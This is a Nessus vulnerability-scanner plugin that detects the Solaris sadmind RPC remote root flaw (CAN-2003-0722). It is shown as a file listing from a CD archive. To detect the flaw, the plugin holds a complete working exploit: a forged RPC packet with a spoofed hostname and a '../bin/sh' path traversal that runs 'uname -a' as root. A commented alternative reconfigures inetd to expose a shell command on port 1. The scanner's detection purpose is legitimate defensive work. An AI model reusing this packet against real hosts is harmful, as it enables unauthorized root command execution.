home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / rpc_sadmin2.nasl < prev    next >
Text File  |  2005-01-14  |  10KB  |  241 lines

  1. #
  2. # (C) Tenable Network Security
  3. #
  4. #
  5. # Greatly improved by H D Moore
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(11841);
  11.  script_bugtraq_id(8615);
  12.  if(defined_func("script_xref"))script_xref(name:"IAVA", value:"2003-A-0013");
  13.  script_version ("$Revision: 1.9 $");
  14.  script_cve_id("CAN-2003-0722");
  15.  
  16.  name["english"] = "sadmind command execution";
  17.  script_name(english:name["english"]);
  18.  
  19.  desc["english"] = "
  20. The remote host is running the sadmind RPC service. It is possible
  21. to misuse this service to execute arbitrary commands on this host
  22. as root.
  23.  
  24. Solution : Disable this service as Sun does not intend to provide a patch
  25. Risk factor : High";
  26.  
  27.  
  28.  
  29.  
  30.  script_description(english:desc["english"]);
  31.  
  32.  summary["english"] = "Executes a command on the remote host";
  33.  script_summary(english:summary["english"]);
  34.  
  35.  script_category(ACT_GATHER_INFO);
  36.  
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  39.  family["english"] = "Gain root remotely";
  40.  script_family(english:family["english"]);
  41.  if ( ! defined_func("bn_random") ) 
  42.     script_dependencie("rpc_portmap.nasl");
  43.  else
  44.     script_dependencie("rpc_portmap.nasl", "solaris7_116456.nasl", "solaris7_x86_116457.nasl", "solaris8_116455.nasl", "solaris8_x86_116442.nasl", "solaris9_116453.nasl", "solaris9_x86_116454.nasl");
  45.  
  46.  script_require_keys("rpc/portmap");
  47.  exit(0);
  48. }
  49.  
  50. #
  51. # The script code starts here
  52. #
  53.  
  54.  
  55. include("misc_func.inc");
  56. include("nfs_func.inc"); # RPC functions
  57.  
  58. include("dump.inc");
  59.  
  60. if ( get_kb_item("BID-8615") ) exit(0);
  61.  
  62.  
  63. RPC_PROG = 100232;
  64. tcp = 0;
  65. port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_UDP);
  66. if(!port)exit(0);
  67.  
  68. req = "a2bd60db0000000000000002000187880000000a00000001000000010000001c3f6a0f8c000000076578706c6f69740000000000000000000000000000000000000000003f6a0f90000745df0000000000000000000000000000000000000000000000060000000000000000000000000000000400000000000000047f000001000187880000000a000000047f000001000187880000000a000000110000001e000000000000000000000000000000000000003b6578706c6f697400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000673797374656d0000000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f73680000000000041a0000000e41444d5f46575f56455253494f4e000000000003000000040000000100000000000000000000000841444d5f4c414e470000000900000002000000014300000000000000000000000000000d41444d5f524551554553544944000000000000090000001200000011303831303a313031303130313031303a3100000000000000000000000000000941444d5f434c41535300000000000009000000070000000673797374656d000000000000000000000000000e41444d5f434c4153535f564552530000000000090000000400000003322e310000000000000000000000000a41444d5f4d4554484f4400000000000900000016000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f736800000000000000000000000000000841444d5f484f5354000000090000003c0000003b6578706c6f6974000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f41444d5f434c49454e545f484f5354000000000900000008000000076578706c6f69740000000000000000000000001141444d5f434c49454e545f444f4d41494e00000000000009000000010000000000000000000000000000001141444d5f54494d454f55545f5041524d53000000000000090000001c0000001b54544c3d302050544f3d32302050434e543d322050444c593d33300000000000000000000000000941444d5f46454e43450000000000000900000000000000000000000000000001580000000000000900000003000000022d6300000000000000000000000000015900000000000009000002010000020069640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106e65746d67745f656e646f6661726773";
  69. soc = open_sock_udp(port);
  70. if(!soc)exit(0);
  71. send(socket:soc, data:hex2raw(s:req));
  72. r = recv(socket:soc, length:512);
  73. if(!r)exit(0);
  74.  
  75. hostname = strstr(r, "Security exception on host");
  76. if(!hostname)exit(0);
  77. hostname = ereg_replace(pattern:".*on host ([^ ]*)\. .*", string:hostname, replace:"\1");
  78.  
  79. # pad the hostname to a multiple of four bytes
  80. adm_client_host = hostname;
  81. while ((strlen(adm_client_host) % 4) != 0) adm_client_host = adm_client_host + raw_string(0x00);
  82.  
  83. # The output command is not piped back to us. We will just check the error code 
  84. # sent back by rpc.sadmind
  85. command = "uname -a";
  86.  
  87. # Other commands could be :
  88. #command = "echo 'Nessus can execute arbitrary commands on this host' > /tmp/nessus.$$";
  89. #
  90. # And ask the user to see if there is a /tmp/nessus.$$ or even :
  91. #
  92. # command = "echo tcpmux stream tcp nowait root /usr/bin/id id > /tmp/nessus; /usr/sbin/inetd -s /tmp/nessus; rm /tmp/nessus;";
  93. #  
  94. # And then try to connect to port 1 and get the output of /bin/id. However this is intrusive
  95.  
  96. command_pad =  crap(data:raw_string(0), length:512 - strlen(command));
  97.  
  98.  
  99. pad = padsz(len:strlen(hostname));
  100.  
  101. rpc =     rpclong(val:rand()) +
  102.           rpclong(val:0) + 
  103.         rpclong(val:2) +
  104.         rpclong(val:100232) +
  105.         rpclong(val:10) +
  106.         rpclong(val:1)   +
  107.         rpclong(val:1);
  108.     
  109.     
  110.     
  111. auth_len = 20 + strlen(hostname) + pad;
  112.     
  113. auth =     rpclong(val:auth_len) + 
  114.         rpclong(val:rand()) +
  115.         rpclong(val:strlen(hostname)) + 
  116.         hostname +
  117.         rpcpad(pad:pad) +
  118.         rpclong(val:0) +
  119.         rpclong(val:0) +
  120.         rpclong(val:0) +
  121.         rpclong(val:0) + 
  122.         rpclong(val:0);
  123.      
  124. rpc2 = rpc + auth;
  125.     
  126.     
  127. packed_host = hostname + crap(data:raw_string(0), length:59 - strlen(hostname));
  128.     
  129.     
  130. header = string(
  131.     "\x3f\x6a\x0f\x90",                 # Timestamp
  132.     "\x00\x07\x45\xdf" ,                # Random Field
  133.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  134.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06" ,
  135.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  136.     "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04" , 
  137.     
  138.     "\x7f\x00\x00\x01" ,                # 127.0.0.1
  139.     "\x00\x01\x87\x88" ,                # SADMIND
  140.     
  141.     "\x00\x00\x00\x0a\x00\x00\x00\x04" , 
  142.     
  143.     "\x7f\x00\x00\x01" ,                # 127.0.0.1
  144.     "\x00\x01\x87\x88" ,                # SADMIND
  145.  
  146.     "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e" ,
  147.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  148.     "\x00\x00\x00\x00" , 
  149.  
  150.     "\x00\x00\x00\x3b" , packed_host ,
  151.  
  152.     "\x00\x00\x00\x00\x06" , "system" ,
  153.     
  154.     "\x00\x00\x00\x00\x00\x15" , "../../../../../bin/sh" , "\x00\x00\x00");
  155.     
  156.  
  157.     
  158. body =     string("\x00\x00\x00\x0e", "ADM_FW_VERSION" , 
  159.     "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00" , 
  160.     "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" ,
  161.     "\x00\x00\x00\x08" , "ADM_LANG" ,
  162.     "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00" ,
  163.     "\x00\x01" ,  "C" ,
  164.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  165.     "\x00\x00\x00\x0d" ,  "ADM_REQUESTID" ,
  166.      "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11" ,
  167.     "0810:1010101010:1" , "\x00\x00\x00" ,
  168.     "\x00\x00\x00\x00\x00\x00\x00\x00" , 
  169.  
  170.     "\x00\x00\x00\x09" , "ADM_CLASS" , 
  171.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07" ,
  172.     "\x00\x00\x00\x06" , "system" ,
  173.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  174.     "\x00\x00\x00\x0e"  ,  "ADM_CLASS_VERS" ,
  175.     "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04" ,
  176.     "\x00\x00\x00\x03" ,  "2.1" , 
  177.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  178.     
  179.     
  180.     "\x00\x00\x00\x0a" , "ADM_METHOD" , 
  181.     "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16" ,
  182.     "\x00\x00\x00\x15" , "../../../../../bin/sh" , 
  183.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  184.     
  185.     "\x00\x00\x00\x08" , "ADM_HOST" ,
  186.     "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b" ,
  187.     packed_host ,
  188.  
  189.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  190.     "\x00\x00\x00\x0f" , "ADM_CLIENT_HOST" , 
  191.     "\x00\x00\x00\x00\x09" , 
  192.     rpclong(val:strlen(hostname) + 1) ,
  193.     rpclong(val:strlen(hostname)) ,
  194.     adm_client_host ,
  195.     "\x00\x00\x00\x00" , "\x00\x00\x00\x00" ,
  196.     "\x00\x00\x00\x11" ,  "ADM_CLIENT_DOMAIN" ,
  197.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" ,
  198.     "\x00\x00\x00\x00\x00\x00" ,
  199.     "\x00\x00\x00\x11" , "ADM_TIMEOUT_PARMS" ,
  200.     "\x00\x00\x00\x00\x00" ,
  201.     "\x00\x09\x00\x00\x00\x1c" ,
  202.     "\x00\x00\x00\x1b" , "TTL=0 PTO=20 PCNT=2 PDLY=30" ,
  203.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  204.     "\x00\x00\x00\x09" , "ADM_FENCE" ,
  205.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00" ,
  206.     "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00" ,
  207.     "\x00\x00\x03\x00\x00\x00\x02"  , "-c" ,
  208.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00" ,
  209.     "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00" ,
  210.     command , command_pad ,
  211.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10" ,
  212.     "netmgt_endofargs");
  213.  
  214.     
  215. packet = rpc2 + header + rpclong(val:strlen(body) + strlen(header) + 4 - 330) + body;
  216.  
  217. # send three requests for verification
  218. for (x=0; x<3; x++)
  219. {
  220.     soc = open_sock_udp(port);
  221.     if(!soc)exit(0);
  222.     
  223.     send(socket:soc, data:packet);
  224.     r = recv(socket:soc, length:512);
  225.  
  226.     if(strlen(r) >= 22)
  227.     {
  228.      if(ord(r[22]) == 0 && ord(r[21]) == 0 && ord(r[20]) == 0 && ord(r[19]) == 0)
  229.      {
  230.       code = substr(r, strlen(r) - 12, strlen(r) - 1);
  231.       if("000000000000000000000000" >< hexstr(code))
  232.       {
  233.        security_hole(port);
  234.        exit(0);
  235.       }
  236.      }
  237.     }
  238.     close(soc);
  239. }
  240.  
  241.